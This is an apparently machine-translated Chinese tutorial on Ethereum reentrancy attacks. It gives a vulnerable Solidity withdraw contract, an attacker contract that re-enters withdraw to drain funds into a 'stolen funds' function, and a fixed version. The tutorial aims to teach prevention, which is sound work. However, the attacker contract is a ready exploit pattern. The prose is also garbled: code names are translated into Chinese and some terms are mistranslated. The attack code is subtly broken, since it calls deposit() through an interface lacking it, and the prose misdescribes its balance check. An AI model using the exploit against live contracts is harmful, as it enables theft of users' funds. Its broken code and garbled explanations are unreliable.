区块链行业中一些最大的黑客窃取了价值数百万美元的加密货币代币,都是重入攻击的结果。 尽管近年来这些黑客攻击变得越来越少,但它们仍然对区块链应用程序和用户构成重大威胁。

重入攻击到底是什么? 它们是如何使用的? 开发者可以采取什么措施来防止这种情况发生?

什么是重入攻击?

当易受攻击的智能合约函数对恶意合约进行外部调用,暂时放弃对交易流的控制时,就会发生重入攻击。 然后,恶意合约在完成执行之前重复调用原始智能合约函数,并在此过程中消耗其资金。

本质上,以太坊区块链上的提现交易遵循三步循环:余额确认、转账和余额更新。 如果网络犯罪分子在余额更新之前设法劫持该周期,他们可以反复提取资金,直到钱包变空。

图片来源: 以太扫描

最臭名昭著的区块链黑客攻击之一,以太坊 DAO 黑客攻击,详细描述如下: 币桌这是一次重入攻击,导致价值超过 6000 万美元的 ETH 损失,并从根本上改变了第二大加密货币的进程。

重入攻击如何进行?

想象一下你家乡的一家银行,善良的当地人存放着他们的钱。 总流动资金为 100 万美元。 然而,银行的会计系统有缺陷——员工要等到晚上才能更新银行余额。

她的投资者朋友来到这座城市,发现了会计错误。 他创建了一个账户并存入 100,000 美元。 一天后,他提取了 10 万美元。 一小时后,他再次尝试提取 10 万美元。 由于银行尚未更新他的余额,因此仍为 100,000 美元。 所以他得到了钱。 他这样做,直到没有更多的钱了。 员工晚上结账时才发现没钱了。

在智能合约的背景下,流程如下:

  1. 网络犯罪分子发现智能合约“X”存在漏洞。
  2. 攻击者与目标合约 X 发起合法交易,将资金发送至恶意合约“Y”。 在执行过程中,Y 调用 X 中的易受攻击的函数。
  3. 当合约等待与外部事件交互时,X 的合约执行被停止或延迟
  4. 当执行暂停时,攻击者重复调用X中相同的易受攻击的函数,尽可能多次地触发其执行
  5. 每次重新进入时,合约状态都会被操纵,从而使攻击者能够将资金从 X 转移到 Y
  6. 一旦资金耗尽,重入停止,X的延迟执行最终完成,合约状态根据上次重入更新。

一般来说,攻击者成功地利用了重入漏洞并从合约中窃取了资金。

重入攻击的示例

那么,如果部署重入攻击,技术上究竟会如何发挥作用呢? 这是一个假设的带有重入网关的智能合约。 为了便于理解,我们使用公理命名。

 // Vulnerable contract with a reentrancy vulnerability

pragma solidity ^0.8.0;

contract VulnerableContract {
    mapping(address => uint256) private balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw(uint256 amount) public {
        require(amount <= balances[msg.sender], "Insufficient balance");
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");
        balances[msg.sender] -= amount;
    }
}

脆弱合约 允许用户使用以下方式将 ETH 存入合约中 订金 功能。 然后,用户可以使用以下方式提取存入的 ETH: 提取 功能。 然而,存在一个关于重入的漏洞 提取 功能。 当用户提款时,合约会在账户余额更新之前将请求的金额转移到用户的地址。 这为攻击者利用它们创造了机会。

好吧,这就是攻击者的智能合约的样子。

 // Attacker's contract to exploit the reentrancy vulnerability

pragma solidity ^0.8.0;

interface VulnerableContractInterface {
    function withdraw(uint256 amount) external;
}

contract AttackerContract {
    VulnerableContractInterface private vulnerableContract;
    address private targetAddress;

    constructor(address _vulnerableContractAddress) {
        vulnerableContract = VulnerableContractInterface(_vulnerableContractAddress);
        targetAddress = msg.sender;
    }

    // Function to trigger the attack
    function attack() public payable {
        // Deposit some ether to the vulnerable contract
        vulnerableContract.deposit{value: msg.value}();

        // Call the vulnerable contract's withdraw function
        vulnerableContract.withdraw(msg.value);
    }

    // Receive function to receive funds from the vulnerable contract
    receive() external payable {
        if (address(vulnerableContract).balance >= 1 ether) {
            // Reenter the vulnerable contract's withdraw function
            vulnerableContract.withdraw(1 ether);
        }
    }

    // Function to steal the funds from the vulnerable contract
    function withdrawStolenFunds() public {
        require(msg.sender == targetAddress, "Unauthorized");
        (bool success, ) = targetAddress.call{value: address(this).balance}("");
        require(success, "Transfer failed");
    }
}

当攻击发起时:

  1. 攻击者合约 取地址为 脆弱合约 在其构造函数中并将其存储在 脆弱合约 多变的。
  2. 攻击 该函数被攻击者调用并在其中存入一些 Eth 脆弱合约 用于 订金 函数,然后立即调用 提取 的函数 脆弱合约
  3. 提取 函数在 脆弱合约 将请求的 ETH 金额转移给攻击者 攻击者合约 在更新余额之前,但由于攻击者的合约在外部调用期间暂停,因此该功能尚未完成。
  4. 收到 函数在 攻击者合约 被触发是因为 脆弱合约 在外部调用期间将 eth 发送到此合约。
  5. 接收函数检查是否 攻击者合约 余额至少1 Ether(要提取的金额),然后重新输入 脆弱合约 通过调用它 提取 再次发挥作用。
  6. 重复第三步到第五步,直到 脆弱合约 资金耗尽,攻击者的合约积累了大量 ETH。
  7. 最终,攻击者可以调用它 撤回被盗资金 函数在 攻击者合约 窃取其合同中积累的所有资金。

根据网络性能,攻击可能会很快发生。 对于复杂的智能合约,例如导致以太坊和以太坊经典中的以太坊硬分叉的 DAO 黑客攻击,攻击会发生几个小时。

如何防止重入攻击

为了防止重入攻击,我们需要修改易受攻击的智能合约,以遵循安全智能合约开发的最佳实践。 在这种情况下,我们应该实现检查-效果-交互模式,如以下代码所示。

 // Secure contract with the "checks-effects-interactions" pattern

pragma solidity ^0.8.0;

contract SecureContract {
    mapping(address => uint256) private balances;
    mapping(address => bool) private isLocked;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw(uint256 amount) public {
        require(amount <= balances[msg.sender], "Insufficient balance");
        require(!isLocked[msg.sender], "Withdrawal in progress");
        
        // Lock the sender's account to prevent reentrancy
        isLocked[msg.sender] = true;

        // Perform the state change
        balances[msg.sender] -= amount;

        // Interact with the external contract after the state change
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");

        // Unlock the sender's account
        isLocked[msg.sender] = false;
    }
}

在这个固定版本中,我们引入了一个 被锁住了 映射以跟踪特定帐户是否正在付款。 当用户发起提款时,合约会检查其账户是否被冻结(!被锁住了[msg.sender]),表示当前没有从同一账户处理其他提款。

如果账户没有被暂停,合约将继续进行状态变化和外部交互。 状态改变和外部交互后,账户将再次解冻,允许未来提款。

重入攻击的类型

照片来源:伊万·拉迪奇/弗利克

一般来说,根据利用类型,重入攻击主要分为三种类型。

  1. 单次重入攻击: 在这种情况下,攻击者重复调用的易受攻击的函数与易受重入网关攻击的函数相同。 上述攻击是一个 example 通过在代码中实施适当的检查和锁定可以轻松防止单次重入攻击。
  2. 跨职能攻击: 在这种情况下,攻击者利用易受攻击的函数来调用同一合约中与易受攻击的函数具有相同状态的另一个函数。 攻击者调用的第二个函数达到了预期的效果,并且使其更容易被利用。 这种攻击更加复杂且难以检测,因此需要对所有互连功能进行严格控制和禁止才能缓解这种攻击。
  3. 跨条约攻击: 当外部合约与易受攻击的合约交互时,就会发生这种攻击。 在此交互过程中,在完全更新之前,在外部合约中调用易受攻击的合约状态。 当多个合约共享相同的变量并且某些合约不安全地更新共享变量时,通常会发生这种情况。 遏制这种攻击需要在合约之间实施安全通信协议并定期进行智能合约审计。

重入攻击可以以不同的形式表现出来,因此每种形式都需要特定的措施来防止它们。

防止重入攻击

重入攻击已造成重大财务损失并破坏了对区块链应用程序的信任。 为了保护合约,开发人员必须仔细应用最佳实践,以避免重入漏洞。

您还应该实施安全支付模式,使用可信库,并进行彻底的审计,以进一步加强智能合约的防御。 当然,及时了解新出现的威胁并积极主动地开展安全工作也有助于确保区块链生态系统的完整性。